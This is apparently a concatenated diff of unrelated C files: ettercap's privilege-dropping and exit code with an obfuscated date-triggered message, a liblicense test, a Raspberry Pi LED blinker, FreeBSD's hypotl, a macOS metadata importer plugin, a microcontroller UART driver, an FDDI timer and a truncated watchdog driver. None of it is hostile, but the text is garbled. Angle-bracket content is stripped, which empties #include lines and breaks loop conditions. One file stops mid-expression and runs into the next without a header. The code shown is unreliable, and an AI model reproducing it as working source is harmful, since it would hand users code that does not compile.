OS_WINDOWS + /* do not drop privs under windows */ + return; +#endif + + /* are we root ? */ + if (getuid() != 0) + return; + + /* get the env variable for the UID to drop privs to */ + var = getenv("EC_UID"); + + /* if the EC_UID variable is not set, default to GBL_CONF->ec_uid (nobody) */ + if (var != NULL) + uid = atoi(var); + else + uid = GBL_CONF->ec_uid; + + /* get the env variable for the GID to drop privs to */ + var = getenv("EC_GID"); + + /* if the EC_UID variable is not set, default to GBL_CONF->ec_gid (nobody) */ + if (var != NULL) + gid = atoi(var); + else + gid = GBL_CONF->ec_gid; + + DEBUG_MSG("drop_privs: setuid(%d) setgid(%d)", uid, gid); + + /* drop to a good uid/gid ;) */ + if ( setgid(gid) < 0 ) + ERROR_MSG("setgid()"); + + if ( setuid(uid) < 0 ) + ERROR_MSG("setuid()"); + + DEBUG_MSG("privs: UID: %d %d GID: %d %d", (int)getuid(), (int)geteuid(), (int)getgid(), (int)getegid() ); + USER_MSG("Privileges dropped to UID %d GID %d...\n\n", (int)getuid(), (int)getgid() ); +} + + +/* + * cleanly exit from the program + */ + +void clean_exit(int errcode) +{ + DEBUG_MSG("clean_exit: %d", errcode); + + INSTANT_USER_MSG("\nTerminating %s...\n", GBL_PROGRAM); + +#ifdef HAVE_LUA + /* Cleanup lua */ + ec_lua_fini(); +#endif + + /* flush the exit message */ + ui_msg_flush(MSG_ALL); + + /* stop the mitm attack */ + mitm_stop(); + + /* terminate the sniffing engine */ + EXECUTE(GBL_SNIFF->cleanup); + + /* kill all the running threads but the current */ + ec_thread_kill_all(); + + /* close the UI */ + ui_cleanup(); + + /* call all the ATEXIT functions */ + exit(errcode); + +} + + +static void time_check(void) +{ + /* + * a nice easter egg... + * just to waste some time of code reviewers... ;) + * ALoR, keeping this for you buddy! :) + * + * trust me, it's not evil ;) only a boring afternoon, and nothing to do... + */ + time_t K9=time(NULL);char G5P[1<<6],*o=G5P,*O;uint U4M, _,__=0; char dMG[]= + "\n*\n^1U4Mm\x04wW#K\x2e\x0e+X\x7f\f,N'U!I-L5?";struct{char X5T[7];int dMG; + int U4M;} X5T[]={{"N!WwFr", 0x414c6f52,0},{"S6FfUe", 0x4e614741,0}};sprintf + (G5P,"%s",ctime(&K9));o+=4;O=strchr(o+4,' ');*O=0; for(U4M=(1<<5)-(1<<2)+1; + U4M>0;U4M--)dMG[U4M]=dMG[U4M]^dMG[U4M-1];for(U4M=0;U4M0;_--)X5T[U4M].X5T[_]=X5T[U4M].X5T[_]^X5T[U4M + ].X5T[_-1];if(!strcmp(X5T[U4M].X5T,o)){char T0Q[]="\n\0O!M4\x14r\x1doO;T0Q" + "(\bm\x19m\bz\x19x\b(A2\x12s\x1d=X5T=Q&G5Pp\x03l\n~\th\x1a\x7f_dMG\x06hH-@" + "!H$\x04s\x1av\x1a:X=\x1d|\f|\x0ek\ba\0t\x11u[u[{^-m\fb\x16\x7f\x19v\x04oA" + "\x2e\\;1;K9\\/\\|9w#f4\x1a\x34\x1a\x1a";for(_=(1<<7)-(1<<3)-(1<<2)+1;_>0;_ + --)T0Q[_]=T0Q[_]^T0Q[_-1];if(write(1,dMG,1));while(__++<1<<5)printf("%c",(1<<5) + +(1<<3)+(1<<1));X5T[U4M].dMG=ntohl(X5T[U4M].dMG);printf(dMG,&X5T[U4M].dMG); + while(--__) printf("%c",(1<<6)-(1<<4)-(1<<3)+(1<<1)); printf(T0Q,&X5T[U4M]. + dMG);getchar();break;}} +} + +/* EOF */ + +// vim:ts=3:expandtab + diff --git a/pool/shard011/C/0142315_chooser_test.c b/pool/shard011/C/0142315_chooser_test.c new file mode 100644 index 0000000000000000000000000000000000000000..aaceb51a2a298a115dbbcececd4e23e08bc87a8e --- /dev/null +++ b/pool/shard011/C/0142315_chooser_test.c @@ -0,0 +1,165 @@ +/* + * Creative Commons has made the contents of this file + * available under a CC-GNU-LGPL license: + * + * http://creativecommons.org/licenses/LGPL/2.1/ + * + * A copy of the full license can be found as part of this + * distribution in the file COPYING. + * + * You may use the liblicense software in accordance with the + * terms of that license. You agree that you are solely + * responsible for your use of the liblicense software and you + * represent and warrant to Creative Commons that your use + * of the liblicense software will comply with the CC-GNU-LGPL. + * + * Copyright 2007, Creative Commons, www.creativecommons.org + * Copyright (C) 2007 Peter Miller + */ + +#include +#include +#include + +void print_licenses( const ll_license_list_t *list, const char ** assert_equiv ) +{ + int i = 0; + const ll_license_list_t *curr; + + printf("Matching licenses:\n"); + curr = list; + if (curr == NULL) { + printf("\tNone."); + if (ll_list_length(assert_equiv) != 0) { + assert("The lists are not of" == "length."); + } + } + while (curr) { + printf("bbq %d = %s\n", i, assert_equiv[i]); + assert (strcmp(assert_equiv[i], curr->license) == 0); + printf("\t%s\n",curr->license); + curr = curr->next; + i++; + } + printf("\n"); +} + +void print_attributes(const char **attributes ) +{ + printf("Selected attributes: \n"); + while (*attributes) { + printf("\t%s\n",*attributes); + ++attributes; + } + printf("\n"); +} + +void print_flags(const char **attributes, int p, int r, int pr ) +{ + int i; + + printf("Selected flags:\n"); + i = 0; + while (attributes[i]) { + if (p & (1< +#include +#include +#include +#include + + +#define LG_BUFFER 64 +#define GPIO_LED 35 + +int main(void) +{ + int i; + int v = 0; + int fd; + char buffer[LG_BUFFER]; + + system("echo soc:leds > /sys/class/leds/led0/device/driver/unbind"); + + // Exporter la GPIO de la LED dans /sys + fd = open("/sys/class/gpio/export", O_WRONLY); + if (fd < 0) { + perror("unable to open gpio/export"); + exit(EXIT_FAILURE); + } + snprintf(buffer, LG_BUFFER, "%d", GPIO_LED); + write(fd, buffer, strlen(buffer)); + // On ne verifie pas les echecs. + // Si la GPIO est deja exportee, tant mieux. + // Si l'export est impossible on aura une erreur ensuite. + close(fd); + + // Basculer la GPIO en sortie. + snprintf(buffer, LG_BUFFER, "/sys/class/gpio/gpio%d/direction", GPIO_LED); + fd = open(buffer, O_WRONLY); + if (fd < 0) { + perror("unable to open GPIO direction"); + exit(EXIT_FAILURE); + } + if (write(fd, "out", 3) < 0) { + perror("unable to set GPIO direction"); + exit(EXIT_FAILURE); + } + close(fd); + + // Clignoter en accelerant. + snprintf(buffer, LG_BUFFER, "/sys/class/gpio/gpio%d/value", GPIO_LED); + fd = open(buffer, O_WRONLY); + if (fd < 0) { + perror("unable to open GPIO value"); + exit(EXIT_FAILURE); + } + while(1) { + v = 0; + for (i = 1; i < 50; i ++) { + snprintf(buffer, LG_BUFFER, "%d", v); + pwrite(fd, buffer, strlen(buffer), 0); + usleep(1000000 / i); + v = 1 - v; + } + } + + close(fd); + return EXIT_SUCCESS; +} + + diff --git a/pool/shard011/C/0142317_e_hypotl.c b/pool/shard011/C/0142317_e_hypotl.c new file mode 100644 index 0000000000000000000000000000000000000000..ff39ab4b8a472f61c8236cb071415efd0ff7861a --- /dev/null +++ b/pool/shard011/C/0142317_e_hypotl.c @@ -0,0 +1,139 @@ +/* From: @(#)e_hypot.c 1.3 95/01/18 */ +/* + * ==================================================== + * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. + * + * Developed at SunSoft, a Sun Microsystems, Inc. business. + * Permission to use, copy, modify, and distribute this + * software is freely granted, provided that this notice + * is preserved. + * ==================================================== + */ + +#include +__FBSDID("$FreeBSD: release/8.2.0/lib/msun/src/e_hypotl.c 177793 2008-03-31 13:11:45Z das $"); + +/* long double version of hypot(). See e_hypot.c for most comments. */ + +#include + +#include "fpmath.h" +#include "math.h" +#include "math_private.h" + +#define GET_LDBL_EXPSIGN(i, v) do { \ + union IEEEl2bits uv; \ + \ + uv.e = v; \ + i = uv.xbits.expsign; \ +} while (0) + +#define GET_LDBL_MAN(h, l, v) do { \ + union IEEEl2bits uv; \ + \ + uv.e = v; \ + h = uv.bits.manh; \ + l = uv.bits.manl; \ +} while (0) + +#define SET_LDBL_EXPSIGN(v, i) do { \ + union IEEEl2bits uv; \ + \ + uv.e = v; \ + uv.xbits.expsign = i; \ + v = uv.e; \ +} while (0) + +#undef GET_HIGH_WORD +#define GET_HIGH_WORD(i, v) GET_LDBL_EXPSIGN(i, v) +#undef SET_HIGH_WORD +#define SET_HIGH_WORD(v, i) SET_LDBL_EXPSIGN(v, i) + +#define DESW(exp) (exp) /* delta expsign word */ +#define ESW(exp) (MAX_EXP - 1 + (exp)) /* expsign word */ +#define MANT_DIG LDBL_MANT_DIG +#define MAX_EXP LDBL_MAX_EXP + +#if LDBL_MANL_SIZE > 32 +typedef uint64_t man_t; +#else +typedef uint32_t man_t; +#endif + +long double +hypotl(long double x, long double y) +{ + long double a=x,b=y,t1,t2,y1,y2,w; + int32_t j,k,ha,hb; + + GET_HIGH_WORD(ha,x); + ha &= 0x7fff; + GET_HIGH_WORD(hb,y); + hb &= 0x7fff; + if(hb > ha) {a=y;b=x;j=ha; ha=hb;hb=j;} else {a=x;b=y;} + a = fabsl(a); + b = fabsl(b); + if((ha-hb)>DESW(MANT_DIG+7)) {return a+b;} /* x/y > 2**(MANT_DIG+7) */ + k=0; + if(ha > ESW(MAX_EXP/2-12)) { /* a>2**(MAX_EXP/2-12) */ + if(ha >= ESW(MAX_EXP)) { /* Inf or NaN */ + man_t manh, manl; + /* Use original arg order iff result is NaN; quieten sNaNs. */ + w = fabsl(x+0.0)-fabsl(y+0.0); + GET_LDBL_MAN(manh,manl,a); + if (manh == LDBL_NBIT && manl == 0) w = a; + GET_LDBL_MAN(manh,manl,b); + if (hb >= ESW(MAX_EXP) && manh == LDBL_NBIT && manl == 0) w = b; + return w; + } + /* scale a and b by 2**-(MAX_EXP/2+88) */ + ha -= DESW(MAX_EXP/2+88); hb -= DESW(MAX_EXP/2+88); + k += MAX_EXP/2+88; + SET_HIGH_WORD(a,ha); + SET_HIGH_WORD(b,hb); + } + if(hb < ESW(-(MAX_EXP/2-12))) { /* b < 2**-(MAX_EXP/2-12) */ + if(hb <= 0) { /* subnormal b or 0 */ + man_t manh, manl; + GET_LDBL_MAN(manh,manl,b); + if((manh|manl)==0) return a; + t1=0; + SET_HIGH_WORD(t1,ESW(MAX_EXP-2)); /* t1=2^(MAX_EXP-2) */ + b *= t1; + a *= t1; + k -= MAX_EXP-2; + } else { /* scale a and b by 2^(MAX_EXP/2+88) */ + ha += DESW(MAX_EXP/2+88); + hb += DESW(MAX_EXP/2+88); + k -= MAX_EXP/2+88; + SET_HIGH_WORD(a,ha); + SET_HIGH_WORD(b,hb); + } + } + /* medium size a and b */ + w = a-b; + if (w>b) { + t1 = a; + union IEEEl2bits uv; + uv.e = t1; uv.bits.manl = 0; t1 = uv.e; + t2 = a-t1; + w = sqrtl(t1*t1-(b*(-b)-t2*(a+t1))); + } else { + a = a+a; + y1 = b; + union IEEEl2bits uv; + uv.e = y1; uv.bits.manl = 0; y1 = uv.e; + y2 = b - y1; + t1 = a; + uv.e = t1; uv.bits.manl = 0; t1 = uv.e; + t2 = a - t1; + w = sqrtl(t1*y1-(w*(-w)-(t1*y2+t2*b))); + } + if(k!=0) { + u_int32_t high; + t1 = 1.0; + GET_HIGH_WORD(high,t1); + SET_HIGH_WORD(t1,high+DESW(k)); + return t1*w; + } else return w; +} diff --git a/pool/shard011/C/0142318_main.c b/pool/shard011/C/0142318_main.c new file mode 100644 index 0000000000000000000000000000000000000000..237b6cb2e97afd946b1b08889345a0a027281006 --- /dev/null +++ b/pool/shard011/C/0142318_main.c @@ -0,0 +1,224 @@ +// +// main.c +// Cocoa ApplicationImporter +// +// Created by Fabio Pelosin on 09/10/12. +// Copyright (c) 2012 CocoaPods. All rights reserved. +// + + + + + +//============================================================================== +// +// DO NO MODIFY THE CONTENT OF THIS FILE +// +// This file contains the generic CFPlug-in code necessary for your importer +// To complete your importer implement the function in GetMetadataForFile.c +// +//============================================================================== + + + + + +#import +#import +#import + +// ----------------------------------------------------------------------------- +// constants +// ----------------------------------------------------------------------------- + + +#define PLUGIN_ID "D0DEC9A8-F9F9-40E8-B15E-590F81D58024" + +// +// Below is the generic glue code for all plug-ins. +// +// You should not have to modify this code aside from changing +// names if you decide to change the names defined in the Info.plist +// + + +// ----------------------------------------------------------------------------- +// typedefs +// ----------------------------------------------------------------------------- + +// The import function to be implemented in GetMetadataForFile.c +Boolean GetMetadataForFile(void *thisInterface, + CFMutableDictionaryRef attributes, + CFStringRef contentTypeUTI, + CFStringRef pathToFile); + +// The layout for an instance of MetaDataImporterPlugIn +typedef struct __MetadataImporterPluginType +{ + MDImporterInterfaceStruct *conduitInterface; + CFUUIDRef factoryID; + UInt32 refCount; +} MetadataImporterPluginType; + +// ----------------------------------------------------------------------------- +// prototypes +// ----------------------------------------------------------------------------- +// Forward declaration for the IUnknown implementation. +// + +MetadataImporterPluginType *AllocMetadataImporterPluginType(CFUUIDRef inFactoryID); +void DeallocMetadataImporterPluginType(MetadataImporterPluginType *thisInstance); +HRESULT MetadataImporterQueryInterface(void *thisInstance,REFIID iid,LPVOID *ppv); +void *MetadataImporterPluginFactory(CFAllocatorRef allocator,CFUUIDRef typeID); +ULONG MetadataImporterPluginAddRef(void *thisInstance); +ULONG MetadataImporterPluginRelease(void *thisInstance); +// ----------------------------------------------------------------------------- +// testInterfaceFtbl definition +// ----------------------------------------------------------------------------- +// The TestInterface function table. +// + +static MDImporterInterfaceStruct testInterfaceFtbl = { + NULL, + MetadataImporterQueryInterface, + MetadataImporterPluginAddRef, + MetadataImporterPluginRelease, + GetMetadataForFile +}; + + +// ----------------------------------------------------------------------------- +// AllocMetadataImporterPluginType +// ----------------------------------------------------------------------------- +// Utility function that allocates a new instance. +// You can do some initial setup for the importer here if you wish +// like allocating globals etc... +// +MetadataImporterPluginType *AllocMetadataImporterPluginType(CFUUIDRef inFactoryID) +{ + MetadataImporterPluginType *theNewInstance; + + theNewInstance = (MetadataImporterPluginType *)malloc(sizeof(MetadataImporterPluginType)); + memset(theNewInstance,0,sizeof(MetadataImporterPluginType)); + + /* Point to the function table */ + theNewInstance->conduitInterface = &testInterfaceFtbl; + + /* Retain and keep an open instance refcount for each factory. */ + theNewInstance->factoryID = CFRetain(inFactoryID); + CFPlugInAddInstanceForFactory(inFactoryID); + + /* This function returns the IUnknown interface so set the refCount to one. */ + theNewInstance->refCount = 1; + return theNewInstance; +} + +// ----------------------------------------------------------------------------- +// DeallocCocoa_ApplicationImporterMDImporterPluginType +// ----------------------------------------------------------------------------- +// Utility function that deallocates the instance when +// the refCount goes to zero. +// In the current implementation importer interfaces are never deallocated +// but implement this as this might change in the future +// +void DeallocMetadataImporterPluginType(MetadataImporterPluginType *thisInstance) +{ + CFUUIDRef theFactoryID; + + theFactoryID = thisInstance->factoryID; + free(thisInstance); + if (theFactoryID){ + CFPlugInRemoveInstanceForFactory(theFactoryID); + CFRelease(theFactoryID); + } +} + +// ----------------------------------------------------------------------------- +// MetadataImporterQueryInterface +// ----------------------------------------------------------------------------- +// Implementation of the IUnknown QueryInterface function. +// +HRESULT MetadataImporterQueryInterface(void *thisInstance,REFIID iid,LPVOID *ppv) +{ + CFUUIDRef interfaceID; + + interfaceID = CFUUIDCreateFromUUIDBytes(kCFAllocatorDefault,iid); + + if (CFEqual(interfaceID,kMDImporterInterfaceID)){ + /* If the Right interface was requested, bump the ref count, + * set the ppv parameter equal to the instance, and + * return good status. + */ + ((MetadataImporterPluginType*)thisInstance)->conduitInterface->AddRef(thisInstance); + *ppv = thisInstance; + CFRelease(interfaceID); + return S_OK; + }else{ + if (CFEqual(interfaceID,IUnknownUUID)){ + /* If the IUnknown interface was requested, same as above. */ + ((MetadataImporterPluginType*)thisInstance )->conduitInterface->AddRef(thisInstance); + *ppv = thisInstance; + CFRelease(interfaceID); + return S_OK; + }else{ + /* Requested interface unknown, bail with error. */ + *ppv = NULL; + CFRelease(interfaceID); + return E_NOINTERFACE; + } + } +} + +// ----------------------------------------------------------------------------- +// MetadataImporterPluginAddRef +// ----------------------------------------------------------------------------- +// Implementation of reference counting for this type. Whenever an interface +// is requested, bump the refCount for the instance. NOTE: returning the +// refcount is a convention but is not required so don't rely on it. +// +ULONG MetadataImporterPluginAddRef(void *thisInstance) +{ + ((MetadataImporterPluginType *)thisInstance )->refCount += 1; + return ((MetadataImporterPluginType*) thisInstance)->refCount; +} + +// ----------------------------------------------------------------------------- +// SampleCMPluginRelease +// ----------------------------------------------------------------------------- +// When an interface is released, decrement the refCount. +// If the refCount goes to zero, deallocate the instance. +// +ULONG MetadataImporterPluginRelease(void *thisInstance) +{ + ((MetadataImporterPluginType*)thisInstance)->refCount -= 1; + if (((MetadataImporterPluginType*)thisInstance)->refCount == 0){ + DeallocMetadataImporterPluginType((MetadataImporterPluginType*)thisInstance ); + return 0; + }else{ + return ((MetadataImporterPluginType*) thisInstance )->refCount; + } +} + +// ----------------------------------------------------------------------------- +// Cocoa_ApplicationImporterMDImporterPluginFactory +// ----------------------------------------------------------------------------- +// Implementation of the factory function for this type. +// +void *MetadataImporterPluginFactory(CFAllocatorRef allocator,CFUUIDRef typeID) +{ + MetadataImporterPluginType *result; + CFUUIDRef uuid; + + /* If correct type is being requested, allocate an + * instance of TestType and return the IUnknown interface. + */ + if (CFEqual(typeID,kMDImporterTypeID)){ + uuid = CFUUIDCreateFromString(kCFAllocatorDefault,CFSTR(PLUGIN_ID)); + result = AllocMetadataImporterPluginType(uuid); + CFRelease(uuid); + return result; + } + /* If the requested type is incorrect, return NULL. */ + return NULL; +} + diff --git a/pool/shard011/C/0142319_UART0_backup.c b/pool/shard011/C/0142319_UART0_backup.c new file mode 100644 index 0000000000000000000000000000000000000000..429fad7b0e0ff90e80fc0f600ad18e0374ca1bf3 --- /dev/null +++ b/pool/shard011/C/0142319_UART0_backup.c @@ -0,0 +1,171 @@ +// UART.c +// Runs on LM4F120/TM4C123 +// Use UART0 to implement bidirectional data transfer to and from a +// computer running HyperTerminal. This time, interrupts and FIFOs +// are used. +// Daniel Valvano +// September 11, 2013 +// Modified by EE345L students Charlie Gough && Matt Hawk +// Modified by EE345M students Agustinus Darmawan && Mingjie Qiu + +/* This example accompanies the book + "Embedded Systems: Real Time Interfacing to Arm Cortex M Microcontrollers", + ISBN: 978-1463590154, Jonathan Valvano, copyright (c) 2014 + Program 5.11 Section 5.6, Program 3.10 + + Copyright 2014 by Jonathan W. Valvano, valvano@mail.utexas.edu + You may use, edit, run or distribute this file + as long as the above copyright notice remains + THIS SOFTWARE IS PROVIDED "AS IS". NO WARRANTIES, WHETHER EXPRESS, IMPLIED + OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. + VALVANO SHALL NOT, IN ANY CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, + OR CONSEQUENTIAL DAMAGES, FOR ANY REASON WHATSOEVER. + For more information about my classes, my research, and my books, see + http://users.ece.utexas.edu/~valvano/ + */ + +// U0Rx (VCP receive) connected to PA0 +// U0Tx (VCP transmit) connected to PA1 +#include +#include "inc/tm4c123gh6pm.h" +//#include + +#include "FIFO.h" +#include "UART0.h" +#include "UART0_debug.h" + +#define NVIC_EN0_INT5 0x00000020 // Interrupt 5 enable + +#define UART_FR_RXFF 0x00000040 // UART Receive FIFO Full +#define UART_FR_TXFF 0x00000020 // UART Transmit FIFO Full +#define UART_FR_RXFE 0x00000010 // UART Receive FIFO Empty +#define UART_LCRH_WLEN_8 0x00000060 // 8 bit word length +#define UART_LCRH_FEN 0x00000010 // UART Enable FIFOs +#define UART_CTL_UARTEN 0x00000001 // UART Enable +#define UART_IFLS_RX1_8 0x00000000 // RX FIFO >= 1/8 full +#define UART_IFLS_TX1_8 0x00000000 // TX FIFO <= 1/8 full +#define UART_IM_RTIM 0x00000040 // UART Receive Time-Out Interrupt + // Mask +#define UART_IM_TXIM 0x00000020 // UART Transmit Interrupt Mask +#define UART_IM_RXIM 0x00000010 // UART Receive Interrupt Mask +#define UART_RIS_RTRIS 0x00000040 // UART Receive Time-Out Raw + // Interrupt Status +#define UART_RIS_TXRIS 0x00000020 // UART Transmit Raw Interrupt + // Status +#define UART_RIS_RXRIS 0x00000010 // UART Receive Raw Interrupt + // Status +#define UART_ICR_RTIC 0x00000040 // Receive Time-Out Interrupt Clear +#define UART_ICR_TXIC 0x00000020 // Transmit Interrupt Clear +#define UART_ICR_RXIC 0x00000010 // Receive Interrupt Clear + +#ifdef __cplusplus +extern "C" { +#endif + +void DisableInterrupts(void); // Disable interrupts +void EnableInterrupts(void); // Enable interrupts +long StartCritical (void); // previous I bit, disable interrupts +void EndCritical(long sr); // restore I bit to previous value +void WaitForInterrupt(void); // low power mode + +#define FIFOSIZE 16 // size of the FIFOs (must be power of 2) +#define FIFOSUCCESS 1 // return value on success +#define FIFOFAIL 0 // return value on failure + // create index implementation FIFO (see FIFO.h) +AddIndexFifo(Rx0, FIFOSIZE, char, FIFOSUCCESS, FIFOFAIL) +AddIndexFifo(Tx0, FIFOSIZE, char, FIFOSUCCESS, FIFOFAIL) + +// Initialize UART0 +// Baud rate is 115200 bits/sec +void UART0_Init(void){ + SYSCTL_RCGCUART_R |= 0x01; // activate UART0 + SYSCTL_RCGCGPIO_R |= 0x01; // activate port A + Rx0Fifo_Init(); // initialize empty FIFOs + Tx0Fifo_Init(); + UART0_CTL_R &= ~UART_CTL_UARTEN; // disable UART + UART0_IBRD_R = 43; // IBRD = int(50,000,000 / (16 * 115,200)) = int(27.1267) + UART0_FBRD_R = 26; // FBRD = int(0.1267 * 64 + 0.5) = 8 + // 8 bit word length (no parity bits, one stop bit, FIFOs) + UART0_LCRH_R = (UART_LCRH_WLEN_8|UART_LCRH_FEN); + UART0_IFLS_R &= ~0x3F; // clear TX and RX interrupt FIFO level fields + // configure interrupt for TX FIFO <= 1/8 full + // configure interrupt for RX FIFO >= 1/8 full + UART0_IFLS_R += (UART_IFLS_TX1_8|UART_IFLS_RX1_8); + // enable TX and RX FIFO interrupts and RX time-out interrupt + UART0_IM_R |= (UART_IM_RXIM|UART_IM_TXIM|UART_IM_RTIM); + UART0_CTL_R |= UART_CTL_UARTEN; // enable UART + GPIO_PORTA_AFSEL_R |= 0x03; // enable alt funct on PA1-0 + GPIO_PORTA_DEN_R |= 0x03; // enable digital I/O on PA1-0 + // configure PA1-0 as UART + GPIO_PORTA_PCTL_R = (GPIO_PORTA_PCTL_R&0xFFFFFF00)+0x00000011; + GPIO_PORTA_AMSEL_R = 0; // disable analog functionality on PA + // UART0=priority 2 + NVIC_PRI1_R = (NVIC_PRI1_R&0xFFFF00FF)|0x00004000; // bits 13-15 + NVIC_EN0_R = NVIC_EN0_INT5; // enable interrupt 5 in NVIC for UART0 (pg 104) + EnableInterrupts(); + + DEBUG_UART0_PRINTF("Finished Initializing%c", LF); + +} +// copy from hardware RX FIFO to software RX FIFO +// stop when hardware RX FIFO is empty or software RX FIFO is full +void static copyHardwareToSoftware(void){ + char letter; + while(((UART0_FR_R&UART_FR_RXFE) == 0) && (Rx0Fifo_Size() < (FIFOSIZE - 1))){ + letter = UART0_DR_R; + Rx0Fifo_Put(letter); + } +} +// copy from software TX FIFO to hardware TX FIFO +// stop when software TX FIFO is empty or hardware TX FIFO is full +void static copySoftwareToHardware(void){ + char letter; + while(((UART0_FR_R&UART_FR_TXFF) == 0) && (Tx0Fifo_Size() > 0)){ + Tx0Fifo_Get(&letter); + UART0_DR_R = letter; + } +} +// input ASCII character from UART +// spin if RxFifo is empty +char UART0_InChar(void){ + char letter; + while(Rx0Fifo_Get(&letter) == FIFOFAIL){}; + if(letter == '\r') return('\n'); + return(letter ); +} +// output ASCII character to UART +// spin if TxFifo is full +void UART0_OutChar(char data){ + while(Tx0Fifo_Put(data) == FIFOFAIL){}; + UART0_IM_R &= ~UART_IM_TXIM; // disable TX FIFO interrupt + copySoftwareToHardware(); + UART0_IM_R |= UART_IM_TXIM; // enable TX FIFO interrupt +} +// at least one of three things has happened: +// hardware TX FIFO goes from 3 to 2 or less items +// hardware RX FIFO goes from 1 to 2 or more items +// UART receiver has timed out +void UART0_Handler(void){ + if(UART0_RIS_R&UART_RIS_TXRIS){ // hardware TX FIFO <= 2 items + UART0_ICR_R = UART_ICR_TXIC; // acknowledge TX FIFO + // copy from software TX FIFO to hardware TX FIFO + copySoftwareToHardware(); + if(Tx0Fifo_Size() == 0){ // software TX FIFO is empty + UART0_IM_R &= ~UART_IM_TXIM; // disable TX FIFO interrupt + } + } + if(UART0_RIS_R&UART_RIS_RXRIS){ // hardware RX FIFO >= 2 items + UART0_ICR_R = UART_ICR_RXIC; // acknowledge RX FIFO + // copy from hardware RX FIFO to software RX FIFO + copyHardwareToSoftware(); + } + if(UART0_RIS_R&UART_RIS_RTRIS){ // receiver timed out + UART0_ICR_R = UART_ICR_RTIC; // acknowledge receiver time out + // copy from hardware RX FIFO to software RX FIFO + copyHardwareToSoftware(); + } +} +#ifdef __cplusplus +} +#endif diff --git a/pool/shard011/C/0142320_smttimer.c b/pool/shard011/C/0142320_smttimer.c new file mode 100644 index 0000000000000000000000000000000000000000..74b9401e592ac28281fe8702e0f9034ba42a5a4d --- /dev/null +++ b/pool/shard011/C/0142320_smttimer.c @@ -0,0 +1,188 @@ +/****************************************************************************** + * + * (C)Copyright 1998,1999 SysKonnect, + * a business unit of Schneider & Koch & Co. Datensysteme GmbH. + * + * See the file "skfddi.c" for further information. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * The information in this file is provided "AS IS" without warranty. + * + ******************************************************************************/ + +/* + SMT timer +*/ + +#include "h/types.h" +#include "h/fddi.h" +#include "h/smc.h" + +#ifndef lint + static const char ID_sccs[] = "@(#)smttimer.c 2.4 97/08/04 (C) SK " ; +#endif + +static void timer_done(struct s_smc *smc, int restart); + +void smt_timer_init(struct s_smc *smc) +{ + smc->t.st_queue = NULL; + smc->t.st_fast.tm_active = FALSE ; + smc->t.st_fast.tm_next = NULL; + hwt_init(smc) ; +} + +void smt_timer_stop(struct s_smc *smc, struct smt_timer *timer) +{ + struct smt_timer **prev ; + struct smt_timer *tm ; + + /* + * remove timer from queue + */ + timer->tm_active = FALSE ; + + if (smc->t.st_queue == timer && !timer->tm_next) + { + hwt_stop(smc) ; + } + + for (prev = &smc->t.st_queue ; (tm = *prev) ; prev = &tm->tm_next ) + { + if (tm == timer) + { + *prev = tm->tm_next ; + + if (tm->tm_next) + { + tm->tm_next->tm_delta += tm->tm_delta ; + } + + return ; + } + } +} + +void smt_timer_start(struct s_smc *smc, struct smt_timer *timer, u_long time, + u_long token) +{ + struct smt_timer **prev ; + struct smt_timer *tm ; + u_long delta = 0 ; + + time /= 16 ; /* input is uS, clock ticks are 16uS */ + + if (!time) + { + time = 1 ; + } + + smt_timer_stop(smc, timer) ; + timer->tm_smc = smc ; + timer->tm_token = token ; + timer->tm_active = TRUE ; + + if (!smc->t.st_queue) + { + smc->t.st_queue = timer ; + timer->tm_next = NULL; + timer->tm_delta = time ; + hwt_start(smc, time) ; + return ; + } + + /* + * timer correction + */ + timer_done(smc, 0) ; + + /* + * find position in queue + */ + delta = 0 ; + + for (prev = &smc->t.st_queue ; (tm = *prev) ; prev = &tm->tm_next ) + { + if (delta + tm->tm_delta > time) + { + break ; + } + + delta += tm->tm_delta ; + } + + /* insert in queue */ + *prev = timer ; + timer->tm_next = tm ; + timer->tm_delta = time - delta ; + + if (tm) + { + tm->tm_delta -= timer->tm_delta ; + } + + /* + * start new with first + */ + hwt_start(smc, smc->t.st_queue->tm_delta) ; +} + +void smt_force_irq(struct s_smc *smc) +{ + smt_timer_start(smc, &smc->t.st_fast, 32L, EV_TOKEN(EVENT_SMT, SM_FAST)); +} + +void smt_timer_done(struct s_smc *smc) +{ + timer_done(smc, 1) ; +} + +static void timer_done(struct s_smc *smc, int restart) +{ + u_long delta ; + struct smt_timer *tm ; + struct smt_timer *next ; + struct smt_timer **last ; + int done = 0 ; + + delta = hwt_read(smc) ; + last = &smc->t.st_queue ; + tm = smc->t.st_queue ; + + while (tm && !done) + { + if (delta >= tm->tm_delta) + { + tm->tm_active = FALSE ; + delta -= tm->tm_delta ; + last = &tm->tm_next ; + tm = tm->tm_next ; + } + else + { + tm->tm_delta -= delta ; + delta = 0 ; + done = 1 ; + } + } + + *last = NULL; + next = smc->t.st_queue ; + smc->t.st_queue = tm ; + + for ( tm = next ; tm ; tm = next) + { + next = tm->tm_next ; + timer_event(smc, tm->tm_token) ; + } + + if (restart && smc->t.st_queue) + { + hwt_start(smc, smc->t.st_queue->tm_delta) ; + } +} + diff --git a/pool/shard011/C/0142321_da9063_wdt.c b/pool/shard011/C/0142321_da9063_wdt.c new file mode 100644 index 0000000000000000000000000000000000000000..4691c5509129ec51f3df37e63b3af584a833929d --- /dev/null +++ b/pool/shard011/C/0142321_da9063_wdt.c @@ -0,0 +1,198 @@ +/* + * Watchdog driver for DA9063 PMICs. + * + * Copyright(c) 2012 Dialog Semiconductor Ltd. + * + * Author: Mariusz Wojtasik + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * Watchdog selector to timeout in seconds. + * 0: WDT disabled; + * others: timeout = 2048 ms * 2^(TWDSCALE-1). + */ +static const unsigned int wdt_timeout[] = { 0, 2, 4, 8, 16, 32, 65, 131 }; +#define DA9063_TWDSCALE_DISABLE 0 +#define DA9063_TWDSCALE_MIN 1 +#define DA9063_TWDSCALE_MAX (ARRAY_SIZE(wdt_timeout) - 1) +#define DA9063_WDT_MIN_TIMEOUT wdt_timeout[DA9063_TWDSCALE_MIN] +#define DA9063_WDT_MAX_TIMEOUT 